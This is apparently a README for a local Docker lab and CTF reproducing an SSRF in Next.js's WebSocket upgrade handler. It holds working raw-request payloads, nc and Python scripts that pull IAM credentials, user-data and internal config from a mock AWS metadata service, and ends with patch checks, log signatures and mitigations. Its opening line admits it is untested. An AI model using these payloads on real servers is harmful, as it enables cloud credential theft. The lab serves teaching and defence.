
este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
| Feld | Wert |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Typ | SSRF (CWE-918) |
| Betroffene Versionen | Next.js 13.4.13 – 15.5.15 und 16.0.0 – 16.2.4 |
| Gepatchte Versionen | 15.5.16 und 16.2.5 |
| Authentifizierung | keine |
| Benutzerinteraktion | keine |
Angreifer (Host: 0.0.0.0)
│ HTTP :3000 (öffentlich)
▼
┌──────────────────────────┐ gleicher Netzwerk-Namespace ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (Anmeldedaten, │
│ (integrierter Node-Server)│ │ user-data, Index) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (Port 3000): die verwundbare App, exponiert auf 0.0.0.0:3000.imds-sidecar: Mock des AWS-Metadata-Service, der auf
localhost:80 innerhalb des Namespace des Next.js-Containers lebt und
eine reale Cloud-Instanz modelliert. Vom Host aus nicht direkt erreichbar
(kein veröffentlichter Port). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # Automatisierter PoC (5 Probes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + geheime Routen
└── nextjs-app/ # Realistische App "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # Navbar/Footer
│ ├── page.js # Landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (verwundbar)
Der WebSocket-Upgrade-Handler in router-server.ts ruft proxyRequest() auf,
wenn der geparste URI parsedUrl.protocol hat, ohne die Flags finished
und statusCode zu prüfen, die der normale HTTP-Handler immer gesetzt hat:
// verwundbar (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// Patch (Commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
Der Angriffspfad nutzt eine Request-Line mit absoluter Doppel-Slash-URI:
GET http:///path. normalizeRepeatedSlashes kollabiert http:/// zu http:/,
wodurch kein Hostname übrig bleibt, und http-proxy verbindet dann mit
localhost:80 unter Beibehaltung des Pfads:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Das Vorhandensein der Header Connection: Upgrade + Upgrade: websocket führt
dazu, dass die Anfrage in den verwundbaren Upgrade-Handler fällt, statt in den
HTTP-Handler mit den Sicherheitsprüfungen.
docker compose up -d --build
Prüfen, ob die App antwortet:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Damit es auf 0.0.0.0 läuft, exponiert das Port-Mapping in
docker-compose.yml bereits 3000:3000 auf allen Interfaces.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Kompletter 100 % manueller Ablauf in 4 Phasen. Es gibt 4 Flags versteckt im
internen Dienst (localhost:80); diese Anleitung zeigt den Ablauf bis zur
ersten und überlässt dir die Pfade, um die restlichen zu finden.
# Fingerprint des Servers
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Offene Ports über Socket (ohne nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
Es gibt keinen direkten Zugriff auf 127.0.0.1:80 vom Angreifer aus: Der
einzige Vektor besteht darin, den Next.js-Server (der im selben Netzwerk wie
der interne Dienst lebt) für uns anfragen zu lassen.
Zuerst bestätigen wir den SSRF, indem wir nach dem Index des Metadata-Service fragen:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Antwort des Index → Kandidaten: instance-id, hostname,
iam/security-credentials/, user-data (erste Flag). Der Index von
latest/meta-data/ offenbart auch Sub-Keys, die es sich lohnt weiter zu erkunden.
GET http:///latest/user-data HTTP/1.1
| Teil | Funktion |
|---|---|
GET | Die Schwachstelle proxyt nur GET |
http:///latest/user-data | Absolute URI. http:/// kollabiert zu http:/ → Hostname null → der Proxy verbindet mit localhost:80 unter Beibehaltung des Pfads /latest/user-data |
Host: 127.0.0.1:3000 | Sonst antwortet der Server mit 400 |
Connection: Upgrade + Upgrade: websocket | Leiten die Anfrage an den verwundbaren Upgrade-Handler um (der normale HTTP-Handler validiert) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | Mindest-Header, die bei einem legitimen Handshake verlangt werden |
Abschluss: \r\n\r\n auf dem Raw-Socket (ohne Body).
# Option A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Option B: Raw-Socket in Python (gleiche Präzision, ohne nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
Ausgabe — die erste Flag kommt im Body der Antwort des internen Dienstes:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
Flag 1/4 erhalten. Der Header server: BaseHTTP/0.6 ... (Python-Mock)
bestätigt, dass die Anfrage Angreifer → Next.js → localhost:80 gereist ist,
d. h. die Flag wurde durch den SSRF aus dem internen Netzwerk exfiltriert. Die
anderen 3 sind über Pfade des Metadata-Service und des internen Dienstes
verstreut — der Index von latest/meta-data/ ist deine Karte. Finde den Rest.
Der Fake-IMDS (localhost:80) modelliert den echten AWS-Metadata-Service: Es
ist ein navigierbarer Baum. Jedes Verzeichnis (endet auf /) antwortet mit
dem Index seiner Unterpfade; ein Verzeichnis ohne / anzufragen, liefert einen
301-Redirect. Es gibt keine versteckten Pfade: Keine Flag erfordert Raten —
alles wird durch Navigation der Indizes entdeckt.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → Boot-Skript (verweist auf internal/config)
| Pfad | Inhalt |
|---|---|
latest/meta-data/ | Index der Metadaten (oben skizziert) |
latest/meta-data/iam/security-credentials/ | Rolle lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | JSON mit AccessKeyId, SecretAccessKey und Token |
latest/user-data | Boot-Skript mit DB-Anmeldedaten |
latest/dynamic/instance-identity/document | JSON der Instanzidentität |
internal/config | Konfiguration eines internen Dienstes (DB, API-Key) — von user-data referenziert |
CTF-Herausforderung: Es gibt 4 Flags, und jede ist ein echtes Artefakt der SSRF-Ausnutzungskette gegen AWS: (1) user-data des Boots, (2) IAM-Anmeldedaten, (3) Identity Document, (4) Konfiguration eines internen Dienstes. Ihre Werte sind nicht veröffentlicht. Navigiere die Indizes (
/→latest/→ …) und folge von Banner zu Banner; das user-data-Skript verrät dir, wo die vierte lebt. Es gibt keine Pfade zu erraten: Der 404 verrät dir nur, dass du einen Pfad erfindest, der nicht existiert.
Vollständige Version mit der Flag→Flag-Kette in einem eigenen Dokument: SOLUCION.md (jede Flag gibt dir den Hinweis auf die nächste, außerhalb dieses README).
Die Regel: Jede Flag hat einen Hinweis, eine Hürde und die Lösung. Versuche zuerst den Hinweis; nutze die Hürde, wenn du feststeckst. Es gibt keine versteckten Pfade: Nichts ist gefälscht, alles wird navigiert.
Zwei Hinweise vor dem Start:
ssrf() ist bereits fertig in SOLUCION.md →
Vorbereitung: Kopiere ihn und nutze ihn für den Rest der Anleitung. Er
sendet eine GET http:///<path>-Anfrage mit Connection: Upgrade +
Upgrade: websocket.RkxBR3… (base64 von FLAG{…}). Entschlüssle sie:
echo <blob> | base64 -d./latest/user-data? Das ist das Erste,
was jeder Angreifer in AWS prüft./ am Ende aufgelistet.
ssrf latest/meta-data liefert 301 Moved Permanently und Location: latest/meta-data/. = "Folge mir". Mit nc gibt es kein automatisches Folgen:
Wiederhole die Anfrage mit dem Slash.ssrf latest/user-data
Im Body: das Boot-Skript mit DB_PASS=… (Flag 1 ist darin enthalten),
und eine Zeile curl -s http://internal/config, die die Karte für Flag 4 ist.
latest/meta-data/iam/security-credentials/ und frage
die Rolle ab, die erscheint.Token ist kein Füllmaterial): Der 200 bringt ein langes
JSON. AccessKeyId/SecretAccessKey springen ins Auge; Flag 2 ist nicht
dort: Das Feld Token ist eine einzelne base64-Zeichenkette. Entschlüssle sie.ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ ist nicht der einzige Baum. Schau dir den
Root-Index an: Es gibt ein dynamic/, das fast niemand öffnet.dynamic/ → instance-identity/ →
document. Das sind drei Stufen; bei jeder muss dein ssrf auf / enden
(außer document). Leute verlieren sich, weil sie nach dem 301 nicht neu
anfragen.ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
Das Identity-JSON enthält einen Schlüssel FLAG mit Flag 3 (in base64).
Wenn deine Befehlsreihe auf der zweiten Stufe 301 zurückgab, behalte die
Lektion aus Hürde 1 im Kopf.
curl -s http://internal/config.internal nicht auf.
"internal" ist ein Alias auf der Serverseite, nicht deiner. Du änderst
den Host nicht: Der SSRF landet immer auf localhost:80; du wählst nur den
Pfad.ssrf internal/config
Verifikation der 4 (base64-Blob → dekodiert):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 Flags in der Hand. Wenn eine nicht als FLAG{...} herauskommt, weißt du
es schon: Prüfe das curl von user-data (Hürde von Flag 4) oder das / der
Indizes (Hürde von Flag 1).
Manuelle Nutzung, z. B. IAM-Anmeldedaten:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Erwartetes Ergebnis — die Antwort kommt mit server: BaseHTTP/0.6 Python/3.12.x
(dem Mock), nicht mit dem Next.js-Banner, was beweist, dass die Anfrage vom
Server an localhost:80 gestellt wurde:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
Der PoC verifiziert den SSRF, zensiert aber die Flags: Die base64-Blobs der
FLAG{...} und die FLAG{...} im Klartext werden als zensierter Text
angezeigt. Die Werte erhält man nur durch manuelle Erkundung (CTF-Abschnitt oben).
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (verschlüsselte Flag: manuelle Ausnutzung) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (verschlüsselte Flag: manuelle Ausnutzung) ***
http:/// verloren).Upgrade: websocket mit 400 ab).Um zu bestätigen, dass der Patch (Next.js ≥ 15.5.16) den Angriff blockiert,
ändere die Version in nextjs-app/package.json auf 15.5.16, baue neu und
führe denselben Payload erneut aus: Die Verbindung wird ohne Datenrückgabe
geschlossen.
Signaturen in Logs des Next.js-Prozesses:
Failed to proxy http:/ — der Proxy wurde ausgelöst, aber das Ziel war unerreichbar.http: zusammen mit
Connection: Upgrade / Upgrade: websocket-Headern enthält.HttpTokens=required) in AWS anwenden.if ($request_uri ~* "^https?://") { return 400; }